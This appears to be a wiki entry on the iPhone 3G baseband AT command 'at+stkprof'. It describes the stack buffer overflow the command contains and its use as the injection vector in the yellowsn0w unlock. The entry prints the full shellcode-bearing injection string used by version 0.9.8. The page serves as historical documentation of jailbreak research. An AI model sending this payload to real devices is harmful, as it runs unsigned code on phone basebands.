Used as an injection vector for the first iPhone 3G unlock payload.
There is a stack-based buffer overflow in the at+stkprof command that allows unsigned code execution on the iPhone 3G baseband.
The iPhone Dev Team used this exploit in the first public iPhone 3G unlock called yellowsn0w. It can be downloaded from Cydia, and is a daemon that will run in the background. It will inject their payload whenever the baseband is reset.
The source code (for old version 0.9.1) is also available here  Archived 2011-11-21 at the Wayback Machine
New Implementation (yellowsn0w 0.9.8)[edit source]
In the newest yellowsn0w, this command is still used as the injection vector for the exploit, but it is used differently. It is still the at+stkprof command, but it seems to send their stuff all in one go.
at+stkprof=1,"064a541c044b1878222803d0107001320133f8e720470000bf 9f154000170100546e5640200000005c130100266e5640ddddddddeeeeeeeeb8 905120000000001010101020202020611301000c000000";"\x10\x32\x0F\x27 \xBA\x43\x17\x1C\x0E\xA4\x0B\xA5\x01\x35\x21\x78\x78\x29\x0C\xD0 \xA8\x47\x0B\x01\x61\x78\xA8\x47\xC0\x46\xC0\x46\xC0\x46\xC0\x46 \xC9\x18\x11\x70\x02\x34\x01\x32\xEF\xE7\xC0\x46\xC0\x46\x01\x37 \x38\x47\x30\x30\x41\x29\x01\xDA09pG79pG024803A1013101601FBD0000 4C711140F0B51C4B80268BB03601188008911A4C301CA047002509909820A047 071CC56080204000A047802214495200144B041C9847099B0193442303930A23 013405930C23221C06930F49009502960495381C00230D4CA047021C002804D1 0B4908980B4B984703E00B490898094B98470BB0F0BD000044B33B40AC201420 641A0100A0583C20481A010040B53F20541A010000DD4620581A010064657674 65616D31000000004F4B21004552524F522025640000000030B5114D85B0114B 281C6946FF229847009B0D2B11D101990D4B0A681A6004334A681A608A680B4B 13600B4B53600B4B93600123CB6020230093281C6946FF22074B9847DFE70000 5427234098591620BC792F4000FF0001010402040304040468D53E20xx"
Information on how this was used can be found here